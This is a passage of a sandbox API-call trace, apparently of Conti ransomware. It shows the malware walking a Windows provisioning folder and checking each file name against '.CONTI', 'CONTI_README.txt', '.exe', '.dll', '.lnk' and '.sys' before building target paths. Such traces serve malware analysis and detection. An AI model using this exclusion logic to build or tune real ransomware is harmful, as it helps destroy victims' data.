	[0109.422] lstrcmpiW (lpString1="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.422] StrStrIW (lpFirst="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.422] StrStrIW (lpFirst="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.422] StrStrIW (lpFirst="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.422] StrStrIW (lpFirst="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.422] StrStrIW (lpFirst="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.422] StrStrIW (lpFirst="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.422] StrStrIW (lpFirst="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.422] StrStrIW (lpFirst="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.422] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.422] lstrlenW (lpString="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml") returned 69
	[0109.422] GetProcessHeap () returned 0x1720000
	[0109.422] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6587f10
	[0109.422] lstrcpyW (in: lpString1=0x6587f10, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.422] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.422] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml"
	[0109.422] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e0de39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e0de39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e0de39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", cAlternateFileName="386__C~1.PRO")) returned 1
	[0109.422] lstrcmpiW (lpString1="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.422] lstrcmpiW (lpString1="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.422] StrStrIW (lpFirst="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.422] StrStrIW (lpFirst="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.422] StrStrIW (lpFirst="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.422] StrStrIW (lpFirst="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.422] StrStrIW (lpFirst="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.422] StrStrIW (lpFirst="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.422] StrStrIW (lpFirst="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.423] StrStrIW (lpFirst="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.423] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.423] lstrlenW (lpString="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml") returned 69
	[0109.423] GetProcessHeap () returned 0x1720000
	[0109.423] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6588058
	[0109.423] lstrcpyW (in: lpString1=0x6588058, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.423] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.423] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml"
	[0109.423] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e0de39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e0de39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e0de39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", cAlternateFileName="387__C~1.PRO")) returned 1
	[0109.423] lstrcmpiW (lpString1="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.423] lstrcmpiW (lpString1="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.423] StrStrIW (lpFirst="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.423] StrStrIW (lpFirst="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.423] StrStrIW (lpFirst="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.423] StrStrIW (lpFirst="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.423] StrStrIW (lpFirst="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.423] StrStrIW (lpFirst="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.423] StrStrIW (lpFirst="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.423] StrStrIW (lpFirst="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.423] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.423] lstrlenW (lpString="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml") returned 69
	[0109.423] GetProcessHeap () returned 0x1720000
	[0109.423] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x65881a0
	[0109.423] lstrcpyW (in: lpString1=0x65881a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.423] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.423] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml"
	[0109.423] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e340a5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e340a5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e340a5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", cAlternateFileName="388__C~1.PRO")) returned 1
	[0109.423] lstrcmpiW (lpString1="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.423] lstrcmpiW (lpString1="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.423] StrStrIW (lpFirst="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.423] StrStrIW (lpFirst="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.423] StrStrIW (lpFirst="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.423] StrStrIW (lpFirst="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.424] StrStrIW (lpFirst="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.424] StrStrIW (lpFirst="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.424] StrStrIW (lpFirst="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.424] StrStrIW (lpFirst="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.424] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.424] lstrlenW (lpString="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.424] GetProcessHeap () returned 0x1720000
	[0109.424] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x17d6a98
	[0109.424] lstrcpyW (in: lpString1=0x17d6a98, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.424] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.424] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml"
	[0109.424] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e340a5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e340a5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e340a5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", cAlternateFileName="389__C~1.PRO")) returned 1
	[0109.424] lstrcmpiW (lpString1="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.424] lstrcmpiW (lpString1="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.424] StrStrIW (lpFirst="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.424] StrStrIW (lpFirst="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.424] StrStrIW (lpFirst="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.424] StrStrIW (lpFirst="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.424] StrStrIW (lpFirst="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.424] StrStrIW (lpFirst="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.424] StrStrIW (lpFirst="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.424] StrStrIW (lpFirst="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.424] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.424] lstrlenW (lpString="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml") returned 69
	[0109.424] GetProcessHeap () returned 0x1720000
	[0109.424] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x17d7b40
	[0109.424] lstrcpyW (in: lpString1=0x17d7b40, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.424] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.424] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml"
	[0109.424] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90221ca6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90221ca6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90221ca6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x319, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", cAlternateFileName="38__CO~1.PRO")) returned 1
	[0109.424] lstrcmpiW (lpString1="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.424] lstrcmpiW (lpString1="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.425] StrStrIW (lpFirst="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.425] StrStrIW (lpFirst="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.425] StrStrIW (lpFirst="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.425] StrStrIW (lpFirst="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.425] StrStrIW (lpFirst="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.425] StrStrIW (lpFirst="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.425] StrStrIW (lpFirst="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.425] StrStrIW (lpFirst="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.425] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.425] lstrlenW (lpString="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml") returned 82
	[0109.425] GetProcessHeap () returned 0x1720000
	[0109.425] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15a) returned 0x6572428
	[0109.425] lstrcpyW (in: lpString1=0x6572428, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.425] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.425] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml"
	[0109.425] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e340a5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e340a5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e340a5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", cAlternateFileName="390__C~1.PRO")) returned 1
	[0109.425] lstrcmpiW (lpString1="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.425] lstrcmpiW (lpString1="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.425] StrStrIW (lpFirst="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.425] StrStrIW (lpFirst="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.425] StrStrIW (lpFirst="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.425] StrStrIW (lpFirst="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.425] StrStrIW (lpFirst="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.425] StrStrIW (lpFirst="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.425] StrStrIW (lpFirst="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.425] StrStrIW (lpFirst="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.425] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.425] lstrlenW (lpString="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml") returned 69
	[0109.425] GetProcessHeap () returned 0x1720000
	[0109.425] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x17d6d28
	[0109.425] lstrcpyW (in: lpString1=0x17d6d28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.425] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
